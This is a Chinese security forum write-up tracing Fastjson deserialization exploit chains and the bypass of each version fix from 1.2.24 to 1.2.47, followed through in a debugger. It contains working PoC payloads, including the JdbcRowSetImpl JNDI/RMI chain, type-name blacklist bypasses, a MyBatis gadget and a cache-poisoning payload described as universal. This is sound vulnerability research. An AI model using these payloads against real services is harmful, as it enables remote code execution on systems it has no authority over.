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[原创]Fastjson反序列化利用链分析
发表于: 2024-8-22 17:10 3813

[原创]Fastjson反序列化利用链分析

2024-8-22 17:10
3813

实验环境

  • jdk1.8
  • windows10

pom依赖

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<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

先编写一个具有RCE功能的类,和一个工厂类:

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public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
 
public class CalcFactory implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return new Calc();
    }
}

再编写一个简单的RMI服务端:

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public class RMIServerReference {
    void register() throws Exception{
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Calc", "CalcFactory", "");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/Calc", refObjWrapper);
        System.out.println("RMI server running...");
    }
 
    public static void main(String[] args) throws Exception {
        new RMIServerReference().register();
    }
}

编写漏洞验证代码:

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public class FastjsonDeserializePoc {
    public static void main(String[] args) {
        //设置信任远程服务器加载的对象
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 
        String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);
    }
}

将服务端启动后,执行FastjsonDeserializePoc类,先看一下效果,弹出了计算器:

Fastjson版本

1.2.24 JdbcRowSetImpl利用链分析

将断点打至JSON.parse处:

然后一直步入到这行:

继续步入到DefaultJSONParser的这里:

单步执行到239行,获取一个key,

可以看到此时获取的key是序列化json字符串中的@type
继续单步至322行:

这里先获取了一个typeName,其值为"com.sun.rowset.JdbcRowSetImpl",并获取了一个该类型的Class对象。
继续单步至367行,

这里将获取一个反序列化器,步入getDeserializer方法,一直步入到ParserConfig类的362行:

这里有一个黑名单,如果要加载的类在黑名单内,则会抛出异常。
PS:1.2.24版本黑名单中只有Thread类
继续单步至461行:

这里将根据clazz对象创建一个javabean的反序列化器并最终返回。
接下来返回到DefaultJSONParser的368行,用上一步创建的反序列化器执行反序列化操作:

这个函数进去之后,可能没办法继续步入了,不过可以直接将断点打至JavaBeanDeserializer的773行:

再步入parseField方法,单步至71行:

此时将反序列化JdbcRowSetImpl类中的autoCommit字段,是一个boolean类型的字段,反序列化出的value是true。
继续单步至83行,此处将要给JdbcRowSetImpl对象设置autoCommit属性:

步入该方法,单步至66行:

这里获取到一个Method,代表了JdbcRowSetImpl的setAutoCommit方法,然后单步至96行,通过反射调用该方法:

可见fastjson反序列化是通过调用bean的setter方法设置值的。
在setAutoCommit方法内打个断点执行到此处:

调用了connect方法,步入该方法,执行到326行:

这里调用了InitialContext的lookup方法,是JNDI的API,该方法会根据给定的名称查找一个对象的引用,如果传入RMI协议,则会加载一个远程对象,而此处传入的是根据getter方法获取的dataSourceName,也就是序列化字符串中的rmi://127.0.0.1:1099/Calc,所以该行执行后就会请求到Calc类,从而触发RCE。
总结:JdbcRowSetImpl利用链如下:

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connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
...
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
...
parse:128, JSON (com.alibaba.fastjson)
main:15, FastjsonDeserializePoc (com.milon.poc)

1.2.25版本修复及绕过

将POM依赖改为

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<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

此时再执行POC,会抛出一个异常:

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Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
    at com.alibaba.fastjson.JSON.parse(JSON.java:137)
    at com.alibaba.fastjson.JSON.parse(JSON.java:128)
    at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:15)

说明1.2.24版本的漏洞已修复,看看他的修复逻辑,根据异常堆栈,将断点打到ParserConfig的checkAutoType方法中844行:

发现黑名单中新增了很多条目,其中包括com.sun.包下的所有类,而JdbcRowSetImpl正是该包下的,所以此处就被过滤了。
虽然被拉黑了,但也不是不可绕过,观察checkAutoType后面的代码,在861行调用了TypeUtils.loadClass方法:

进入该方法内部第1089行有这样一段逻辑:

如果className以L开头,并且以;结尾,那么将掐头去尾得到中间的字符串,继续递归调用loadClass方法,那么我们就可以利用这点,将Payload改成这样:

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String payload = "{" +
        "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
        "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
        "\"autoCommit\":true" +
        "}";

注意@type后面的类型字符串前面加了L,后面加了;
再次debug:

此时className已经不以com.sun.开头,顺利绕过了黑名单,但是别高兴太早,

代码运行至881行的时候,还有一个autoTypeSupport的判断,这项配置在新版本中默认是关闭的,所以还会走到下面一行抛异常,所以我们需要在POC中显式的开启autoTypeSupport:

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public class FastjsonDeserializePoc {
    public static void main(String[] args) {
        //设置信任远程服务器加载的对象
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //开启autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);
    }
}

这样就顺利绕过了1.2.25版本的限制,不过在真实环境中autoTypeSupport通常不会显式开启,这项就很难绕过了。

1.2.42版本修复及绕过

更新版本:

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<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.42</version>
</dependency>

再次执行POC抛异常:

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Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. Lcom.sun.rowset.JdbcRowSetImpl;
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:925)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
    at com.alibaba.fastjson.JSON.parse(JSON.java:152)
    at com.alibaba.fastjson.JSON.parse(JSON.java:162)
    at com.alibaba.fastjson.JSON.parse(JSON.java:131)
    at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17)

根据异常堆栈将断点打在ParserConfig的checkAutoType方法中925行:

此时可以看到,依然是被黑名单拦截了,并且该版本的黑名单全部处理为了hash值,我们的@type属性经过掐头去尾得到的字符串com.sun.rowset.JdbcRowSetImpl经过hash又落在了黑名单内。我们往前看checkAutoType是怎么处理的:

在897行有一个if判断,判断条件是一个复杂的表达式,我们不需要逐字拆解这个表达式,只需推断整个表达式的作用,在后面的if语句块内,是对className掐头去尾的代码,什么时候需要掐头去尾?根据前面的分析就是以L开头;结尾的时候,所以推断该表达式的作用是判断className是否是Lxxx;的形式,可以证明:
将表达式整理为单行:
(((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L
按ALT + F8打开表达式计算窗口,将表达式中的className替换为"L*;"代入,结果为true:

再替换为"*L;",结果为false:

"L;*"也为false,说明只有"Lxxx;"形式的字符串才会得出true的结果,而我们的payload:Lcom.sun.rowset.JdbcRowSetImpl;正符合该形式,所以会被掐头去尾,而后计算出的hash值落在了黑名单内。
知道了原理,那么我们可以使用惯用伎俩双写绕过,将payload改为LLcom.sun.rowset.JdbcRowSetImpl;;即可绕过。

1.2.43版本修复及绕过

更新pom

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<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.43</version>
</dependency>

再次执行poc,抛出异常:

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Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
    at com.alibaba.fastjson.JSON.parse(JSON.java:152)
    at com.alibaba.fastjson.JSON.parse(JSON.java:162)
    at com.alibaba.fastjson.JSON.parse(JSON.java:131)
    at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17)

根据异常堆栈将断点打在914行:

该版本使用了两次if判断,还是利用前面的表达式计算推断if判断条件,第一个表达式的作用是判断className是否以L开头;结尾,如果符合,则计算第二个表达式,判断是否以LL开头,如果符合则抛异常。
这样的话之前的双写绕过就不灵了,不过loadClass里除了对L;的处理,还有这么一个逻辑:

这个是判断className是否以[开头,如果是则去掉头,保留后面所有字符串,我们看看这里是否可以做文章,将payload改为:
[com.sun.rowset.JdbcRowSetImpl
然后执行POC,发现报错:exepct '[', but ,, pos 42, json,大意是json偏移42字符的位置期望一个[,但实际是一个, 那我们就在第42个字符的地方插入一个 [,将payload改为:

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String payload = "{" +
        "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," +
        "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
        "\"autoCommit\":true" +
        "}";

执行又报错:syntax error, expect {, actual string, pos 43,提示第43个字符期望一个{,那我们再满足它:

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String payload = "{" +
        "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
        "\"dataSourceName\":\"rmi://127.0.0.1:1099/Calc\", " +
        "\"autoCommit\":true" +
        "}";

即可成功绕过。

1.2.44版本修复

在该版本中,如果判断className第一个字符是[,直接抛异常:

可以将表达式写为:
(BASIC ^ className.charAt(0)) * PRIME == 0xaf64164c86024f1aL
代入表达式计算窗口:
"["返回true:

在 [ 前插入任意字符返回false:

说明该表达式的作用是判断第一个字符是否是 [ 。

1.2.45第三方框架RCE

至此,JdbcRowSetImpl很难再利用了,不过还是可以通过其它第三方框架触发RCE。在此之前,先了解一个fastjson的特性,经过前文分析,fastjson是通过调用bean对象的setter方法来给对象属性设值的,其实对象中有没有相关属性不重要,关键是有setXxx方法,那么当这个setXxx方法的参数是一个java.util.Properties类型的对象时,fastjson会把序列化字符串中xxx字段对应的key->value全部放到这个Properties参数中,示例:
定义一个类,里面包含setXxx方法:

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public class MyFactory {
    public void setXxx(Properties properties) {
        System.out.println("MyFactory setProperties...");
    }
}

构造payload:

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String payload = "{\n" +
        "    \"@type\":\"MyFactory\",\n" +
        "    \"xxx\":{\n" +
        "        \"k1\":\"v1\",\n" +
        "        \"k2\":\"v2\"\n" +
        "    }\n" +
        "}";

debug源码可见:

调用了setXxx方法,并且将xxx字段对应的所有key-value全部放入properties中。
如果某些第三方框架也有这样的特征就可以利用,比如mybatis:

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<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.45</version>
</dependency>
<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.6</version>
</dependency>

该版本的mybatis中有一个JndiDataSourceFactory类,里面有一个setProperties方法,参数是Properties对象,并且同样调用了InitialContext的lookup方法:

所以,我们可以构造一个payload:

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String payload = "{\n" +
        "    \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
        "    \"properties\":{\n" +
        "        \"data_source\":\"rmi://127.0.0.1:1099/Calc\"\n" +
        "    }\n" +
        "}";

将data_source写到properties字段中,这样就会在调用setProperties方法执行到55行时触发RCE。

1.2.46版本修复

该版本将JndiDataSourceFactory列入了黑名单。

1.2.47及以下版本通杀payload

此时JndiDataSourceFactory也不可利用,不过在checkAutoType方法里,还有一个点可做文章:

注意这里抛异常的条件,除了要在黑名单里,还要符合一个条件,从mappings中获得的Class对象为空,那我们想办法将这里获取的Class不为空就绕过了,进入该方法:

调用了mappings的get方法,mappings是一个ConcurrentHashMap类型的对象,查看哪里给mappings放置kv:

主要有两处,第一个是TypeUtils的addBaseClassMappings方法,第二个是TypeUtils的loadClass方法,第一个没有可输入的参数,主要看第二个。

第二个里面找到两处调用put方法的地方,前提条件是cache==true,cache是通过参数传入的,可以寻找哪里传入了cache=true,刚好这里有一个:

点到上图的方法里,再逐级向上寻找,最终来到了MiscCodec的335行:

注意:这里if判断条件是clazz==Class.class,这其实就是在暗示我们需要构造一个payload指定@typejava.lang.Class
strVal的取值来自objVal:

而objVal的取值,来自这段代码,我做一些注释:

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// 判断解析状态是否为重定向
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
    // 如果是重定向状态则将解析状态设为NONE
    parser.resolveStatus = DefaultJSONParser.NONE;
    parser.accept(JSONToken.COMMA);     //期望下一个字符是逗号,
 
    // 判断下一个是否是字符串
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        // 如果是字符串,但其值不是val则抛异常
        if (!"val".equals(lexer.stringVal())) {
            throw new JSONException("syntax error");
        }
        lexer.nextToken();
    } else {
        throw new JSONException("syntax error");
    }
 
    parser.accept(JSONToken.COLON);     //期望下一个字符是冒号:
 
    objVal = parser.parse();            //解析下一个value,并赋值给objVal
 
    parser.accept(JSONToken.RBRACE);    //期望下一个字符是右花括号 }
}

这段代码要求在一个json序列化字符串中,有一个key为val对象:{"val": "xxx"},所以我们先构造一个payload:

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{
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
}

然后执行POC到这里可见,strVal和objVal都被赋值为payload中val。

继续跟进可见JdbcRowSetImpl已经被放置到mappings中,这样一阶段目标就达成了。

接下来,还是沿用以前的套路构造JdbcRowSetImpl利用链,所以我们将payload改为:

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{
    "1": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://127.0.0.1:1099/Calc",
        "autoCommit": "true"
    }
}

这个payload分两步,第一步先将JdbcRowSetImpl注入到mappings绕过黑名单,第二步再反序列化一个JdbcRowSetImpl对象触发RCE。
这个payload可以通杀<=1.2.47的所有版本,甚至不需要开启autoTypeSupport。

1.2.48版本修复

该版本将java.lang.Class列入了黑名单,同时在调用TypeUtils.loadClass方法时,显式传入了cache=false,这样JdbcRowSetImpl将无法缓存。

参考

Java安全学习——Fastjson反序列化漏洞


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-8-24 22:19 被米龙·0xFFFE编辑 ,原因:
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